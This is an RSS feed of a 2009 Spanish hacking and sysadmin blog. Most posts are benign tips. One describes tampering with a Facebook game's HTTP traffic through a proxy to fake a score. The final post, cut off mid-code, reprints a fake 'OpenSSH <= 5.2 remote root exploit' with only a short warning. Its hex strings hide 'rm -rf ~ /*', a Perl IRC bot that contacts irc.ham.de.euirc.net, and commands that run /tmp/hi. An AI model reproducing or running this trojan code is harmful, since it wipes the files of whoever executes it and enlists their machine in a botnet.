<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-23164839</atom:id><lastBuildDate>Tue, 29 Dec 2009 18:30:20 +0000</lastBuildDate><title>~Unix &amp; Cisco &amp; Hacks~</title><description>...Sometimes, hacks may be ugly and only exist because someone had an itch that needed scratching. To the engineer, a hack is the ultimate expression of the Do-It-Yourself sentiment: no one understands how a hack came to be better than the person who felt compelled to solve the problem in the first place. If a person with a bent for problem solving thinks a given hack is ugly, then they are almost always irresistibly motivated to go one better and hack the hack...</description><link>http://vlan7.blogspot.com/</link><managingEditor>noreply@blogger.com (vlan7)</managingEditor><generator>Blogger</generator><openSearch:totalResults>330</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/unixCiscoHacks" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-5254248060011870894</guid><pubDate>Fri, 25 Dec 2009 18:37:00 +0000</pubDate><atom:updated>2009-12-29T19:30:20.442+01:00</atom:updated><title>Descargar videos de RTVE</title><description>Hoy me hizo una visita de Navidad mi tio, y me comento que no le funcionaban muy bien los programas que el usaba para bajar videos, concretamente de RTVE.&lt;br /&gt;&lt;br /&gt;Me comento que el pedia bajar un video, y que el programa le bajaba otro.&lt;br /&gt;&lt;br /&gt;Le dije que me lo miraria, y ahora despues de la despedida y de la siesta, este es el procedimiento que he encontrado. Es un poco manual, pero no necesitamos instalar ningun programa.&lt;br /&gt;&lt;br /&gt;1.- Entrar en &lt;a href="http://www.rtve.es/alacarta/"&gt;&lt;b&gt;RTVE Alacarta&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2.- &lt;b&gt;Boton derecho&lt;/b&gt; sobre &lt;b&gt;el titulo&lt;/b&gt; del video deseado / &lt;b&gt;Abrir en nueva pestaña&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Yo he escogido como ejemplo el mensaje navideño del Rey para hacer la prueba. Vemos en la direccion del navegador:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;http://www.rtve.es/alacarta/player/656335.&lt;u&gt;html&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;3.- Sustituir el &lt;b&gt;&lt;u&gt;html&lt;/u&gt;&lt;/b&gt; subrayado por &lt;b&gt;xml&lt;/b&gt;. La direccion resultante quedaria asi:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;http://www.rtve.es/alacarta/player/656335.xml&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Pulsar Intro.&lt;br /&gt;&lt;br /&gt;4.- Nos aparecen un monton de lineas. No te preocupes tio, fijate en la encerrada entre &lt;b&gt;&amp;lt;location&amp;gt;&lt;/b&gt; y &lt;b&gt;&amp;lt/location&amp;gt;&lt;/b&gt;. En nuestro ejemplo del mensaje navideño del Rey:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&amp;lt;location&amp;gt;rtmp://stream.rtve.es/stream/resources/alacarta/flv/3/6/1261688753463.flv&amp;lt;/location&amp;gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;5.- Vamos a eliminar lo que no nos interesa de esa linea tio, no me refiero a editar el XML, sino a copiar la direccion, pegarla en la barra de navegacion, eliminar lo que no queremos y...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;s&gt;&amp;lt;location&amp;gt;rtmp://stream.&lt;/s&gt;rtve.es&lt;s&gt;/stream&lt;/s&gt;/resources/alacarta/flv/3/6/1261688753463.flv&lt;s&gt;&amp;lt;/location&amp;gt;&lt;/s&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;6.- Nos queda entonces la siguiente direccion en la barra de navegacion:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;rtve.es/resources/alacarta/flv/3/6/1261688753463.flv&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;7.- Intro y a guardar al disco duro.&lt;br /&gt;&lt;br /&gt;Como reproductor de videos, te recomiendo el Videolan, pues aparte de ser 100% libre y gratuito para descargar desde su pagina web &lt;a href="http://www.videolan.org/vlc/"&gt;&lt;b&gt;http://www.videolan.org/vlc/&lt;/b&gt;&lt;/a&gt;, incorpora practicamente todos los codecs necesarios para poder reproducir todo tipo de formatos de video, ya esten comprimidos con DiVX, XviD, etc, o simplemente archivos FLV como es nuestro caso.&lt;br /&gt;&lt;br /&gt;Bajate los binarios para Windows, e instalalo segun el procedimiento habitual, siguiente-siguiente-siguiente-...-finalizar.&lt;br /&gt;&lt;br /&gt;Para otro tipo de paginas de videos puedes usar &lt;a href="http://www.atrapavideo.com"&gt;&lt;b&gt;http://www.atrapavideo.com&lt;/b&gt;&lt;/a&gt;. Hablan bastante bien de ella...&lt;br /&gt;&lt;br /&gt;Y si tienes algun problema, comentario al canto o telefonazo.&lt;br /&gt;&lt;br /&gt;Suerte, y felices fiestas a todos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-5254248060011870894?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/dNrGwxS11F0" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/dNrGwxS11F0/descargar-videos-de-rtve.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/12/descargar-videos-de-rtve.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-8520547240422063835</guid><pubDate>Thu, 24 Dec 2009 11:35:00 +0000</pubDate><atom:updated>2009-12-24T12:37:19.257+01:00</atom:updated><title>Conversores de varios formatos online</title><description>Suelen funcionar especificando un archivo/URL y un mail, a donde nos llega un enlace para descargar el archivo convertido.&lt;br /&gt;&lt;br /&gt;A mi me resultan muy utiles, ya que prefiero siempre instalar el menor numero de programas posibles...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.zamzar.com/"&gt;http://www.zamzar.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.youconvertit.com/"&gt;http://www.youconvertit.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.convertfiles.com/"&gt;http://www.convertfiles.com/&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Suerte,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8520547240422063835?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/T_qmR0Qhcpo" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/T_qmR0Qhcpo/conversores-de-varios-formatos-online.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/12/conversores-de-varios-formatos-online.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-1029103123736082495</guid><pubDate>Sat, 19 Dec 2009 16:53:00 +0000</pubDate><atom:updated>2009-12-19T17:58:55.364+01:00</atom:updated><title>Sobre certificados, CAs, SSL y demas</title><description>En &lt;a href="http://www.wadalbertia.org/"&gt;&lt;b&gt;Wadalbertia&lt;/b&gt;&lt;/a&gt; estamos discutiendo, en el sentido correcto de la palabra claro, sobre todos estos temas &lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?p=57485"&gt;&lt;b&gt;en este hilo&lt;/b&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Lo enlazo porque me parece bastante interesante.&lt;br /&gt;&lt;br /&gt;Suerte,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-1029103123736082495?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/tVnxTXcakVA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/tVnxTXcakVA/sobre-certificados-cas-ssl-y-demas.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/12/sobre-certificados-cas-ssl-y-demas.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-4244059534943744727</guid><pubDate>Thu, 10 Dec 2009 01:02:00 +0000</pubDate><atom:updated>2009-12-17T07:39:04.639+01:00</atom:updated><title>"Hackeando" aplicaciones de Facebook</title><description>Como consegui ser el mas inteligente en Brain Buddies de Facebook sin jugar ni una partida. Jugar de forma normal y aburrida claro ;)&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.risper.es/brain.jpg"&gt;&lt;br /&gt;&lt;br /&gt;Bueno, decir que no es ninguna proeza...&lt;br /&gt;&lt;br /&gt;Basicamente lo que hice fue poner un proxy local en mi maquina, en mi caso Paros, que se que hace años que no se actualiza, pero es con el que me siento mas comodo.&lt;br /&gt;&lt;br /&gt;Luego apuntar el navegador a 127.0.0.1 hacia el puerto en que paros estaba escuchando en mi maquina, y poner a Paros en modo "trap request/response", que por defecto no lo hace.&lt;br /&gt;&lt;br /&gt;Entonces con un poco de paciencia di con el paquete que contenia el mensaje, y lo modifique a mi antojo, eso si, respetando la codificacion (espacio=%20 , etc).&lt;br /&gt;&lt;br /&gt;Y mas tarde di con el paquete que contenia el servidor (externo en el caso de este juego) con la imagen con un nombre tal que porcentaje00.jpg.&lt;br /&gt;&lt;br /&gt;Intuitivamente trate de buscar la imagen porcentaje100.jpg pero no existia en ese directorio, probe con porcentaje99.jpg y bingo!&lt;br /&gt;&lt;br /&gt;Lo que pasa es que ciertas aplicaciones, en un campo de las cabeceras http incluyen un "flag" que les permite averiguar si el contenido ha sido modificado.&lt;br /&gt;&lt;br /&gt;Anulando ese "flag" y un par de variables mas, logre ese pequeño "hack".&lt;br /&gt;&lt;br /&gt;Ah, ni idea del codigo de la aplicacion, solo estudie como se comportaba el juego a nivel de paquetes enviados y recibidos.&lt;br /&gt;&lt;br /&gt;Suerte,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4244059534943744727?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/gk6UC0WhqJk" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/gk6UC0WhqJk/hackeando-aplicaciones-de-facebook.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/12/hackeando-aplicaciones-de-facebook.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-8556350457756445491</guid><pubDate>Thu, 03 Dec 2009 03:25:00 +0000</pubDate><atom:updated>2009-12-03T04:28:08.447+01:00</atom:updated><title>Wireless Distribution System (WDS)</title><description>Se que esto es algo basico, pero me lo apunto para tenerlo en cuenta en el futuro.&lt;br /&gt;&lt;br /&gt;Para distribuir la señal entre varios APs a lo largo de un edificio, quizas lo ideal seria usar WDS, que lo que permite basicamente es la interconexion de varios APs que actuarian en "modo repetidor" de la señal entre ellos.&lt;br /&gt;&lt;br /&gt;Basicamente se tienen que cumplir las siguientes condiciones: &lt;br /&gt;&lt;br /&gt;1. Todos los APs tienen que operar en el mismo canal &lt;br /&gt;2. El ESSID de cada uno debe ser distinto, con el fin de que cada equipo sepa en cada momento a que AP esta asociado. &lt;br /&gt;3. En cuanto a la seguridad, puedes usar WEP/WPA y filtrado por MAC sin problemas. &lt;br /&gt;4. Cada AP se comunica mediante los demas por los BSSIDs (direcciones MAC) de los demas APs, por lo que de alguna manera hay que especificarlo en cada uno &lt;br /&gt;&lt;br /&gt;Estos 4 puntos deben cumplirse siempre para un correcto funcionamiento de WDS.&lt;br /&gt;&lt;br /&gt;Una vez implementado WDS, el proceso de asociacion de una maquina a un determinado AP es totalmente transparente para el usuario, solo hay que realizar cambios en los APs.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8556350457756445491?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/GS047P4SPh8" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/GS047P4SPh8/wireless-distribution-system-wds.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/12/wireless-distribution-system-wds.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-8072648985706991390</guid><pubDate>Sun, 29 Nov 2009 15:38:00 +0000</pubDate><atom:updated>2009-12-17T07:39:18.233+01:00</atom:updated><title>En IRC se envian las credenciales en texto plano</title><description>Por eso muchos clientes de IRC que ofrecen la posibilidad de recordar contraseñas cifran o codifican la contraseña recordada en algun fichero.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.risper.es/irc.jpg"&gt;&lt;b&gt;Aqui una captura&lt;/b&gt;&lt;/a&gt;, editada, pues la tengo de hace tiempo en unas pruebas que estuve haciendo, y la verdad es que no me apetece mucho volver a poner el sniffer a correr con otras credenciales... sorry&lt;br /&gt;&lt;br /&gt;&amp;lt;EDIT&amp;gt;&lt;br /&gt;Tiene razon anonimo, tendria que haber especificado redes de IRC. Aunque lo cierto es que solo he usado el irc-hispano, y decir que en el momento de jugar con wireshark para win en su dia, las credenciales se enviaban a traves de la red en texto plano.&lt;br /&gt;&lt;br /&gt;Lo dicho, que no tengo experiencia con otras redes de IRC, sorry...&lt;br /&gt;&lt;br /&gt;Ah, y gracias por comentar en el blog :)&lt;br /&gt;&amp;lt;/EDIT&amp;gt;&lt;br /&gt;&lt;br /&gt;Suerte,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8072648985706991390?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/eotT-i59mdQ" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/eotT-i59mdQ/en-irc-se-envian-las-credenciales-en.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/11/en-irc-se-envian-las-credenciales-en.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-4813104579249075568</guid><pubDate>Fri, 27 Nov 2009 21:53:00 +0000</pubDate><atom:updated>2009-11-27T23:27:56.369+01:00</atom:updated><title>Nueva "version" de Google</title><description>Via &lt;b&gt;NewLog&lt;/b&gt; de &lt;a href="http://www.wadalbertia.org"&gt;&lt;b&gt;Wadalbertia&lt;/b&gt;&lt;/a&gt;, me entero de que los de Google estan que no paran, ademas del interesante nuevo protocolo &lt;b&gt;SPDY&lt;/b&gt; (sobre el que hablamos &lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5753"&gt;&lt;b&gt;aqui&lt;/b&gt;&lt;/a&gt;), estan preparando una nueva "version" de su buscador.&lt;br /&gt;&lt;br /&gt;Aun no es oficial, sin embargo, con algun que otro &lt;a href="http://gizmodo.com/5412801/how-to-try-the-new-google-search"&gt;&lt;b&gt;hack&lt;/b&gt;&lt;/a&gt; podemos acceder e ir probando como sera proximamente el buscador.&lt;br /&gt;&lt;br /&gt;Suerte,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4813104579249075568?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/Jadgtox8148" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/Jadgtox8148/nueva-version-de-google.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/11/nueva-version-de-google.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-3287199656307665202</guid><pubDate>Sun, 22 Nov 2009 18:41:00 +0000</pubDate><atom:updated>2009-11-30T01:16:47.185+01:00</atom:updated><title>Recogiendo datos para Analisis Forense de sistemas Windows</title><description>Estoy escribiendo en &lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5757"&gt;&lt;b&gt;este hilo&lt;/b&gt;&lt;/a&gt; de &lt;a href="http://www.wadalbertia.org"&gt;&lt;b&gt;Wadalbertia&lt;/b&gt;&lt;/a&gt; un "paper" por llamarlo de alguna forma sobre la obtencion de datos para Analisis Forense en sistemas Windows.&lt;br /&gt;&lt;br /&gt;Estoy procurando ser lo mas metodico posible, y aun no lo he terminado, de todas formas se acepta cualquier tipo de critica, comentario o sugerencia.&lt;br /&gt;&lt;br /&gt;&amp;lt;EDIT&amp;gt;&lt;br /&gt;Agradecer a quien haya puesto un post-it al documento, lo cual me ha permitido dedicarselo a mi padre :)&lt;br /&gt;&amp;lt;/EDIT&amp;gt;&lt;br /&gt;&lt;br /&gt;Suerte,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-3287199656307665202?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/YncHHIOY-gc" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/YncHHIOY-gc/recogiendo-datos-para-analisis-forense.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/11/recogiendo-datos-para-analisis-forense.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-8898406529887785192</guid><pubDate>Mon, 21 Sep 2009 23:59:00 +0000</pubDate><atom:updated>2009-09-23T04:03:08.614+02:00</atom:updated><title>FAKE 0day OpenSSH &lt;= 5.2 Remote root exploit</title><description>En una entrada, admin me preguntaba si conocia un supuesto 0-day de ssh.&lt;br /&gt;&lt;br /&gt;Se ha quitado algo para que no compile. ¿Te refieres a este?&lt;br /&gt;&lt;br /&gt;&lt;EDIT 22-9-2009&gt;&lt;br /&gt;Ver los comentarios antes de ejecutar el exploit&lt;br /&gt;&lt;/EDIT&gt;&lt;br /&gt;&lt;br /&gt;* ---------------------------&lt;br /&gt;* OpenSSH &lt;= 5.2 REMOTE (r00t) EXPLOIT.&lt;br /&gt;*&lt;br /&gt;*&lt;br /&gt;* Takes advantage of an off-by-one&lt;br /&gt;* bug in mapped authentication space on system&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#define VALID_RANGE 0xb44ffe00&lt;br /&gt;#define build_frem(x,y,a,b,c) a##c##a##x##y##b&lt;br /&gt;&lt;br /&gt;char jmpcode[] =&lt;br /&gt;"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"&lt;br /&gt;"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";&lt;br /&gt;&lt;br /&gt;char shellcode[] =&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"&lt;br /&gt;"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"&lt;br /&gt;"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"&lt;br /&gt;"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"&lt;br /&gt;"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"&lt;br /&gt;"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"&lt;br /&gt;"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"&lt;br /&gt;"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br 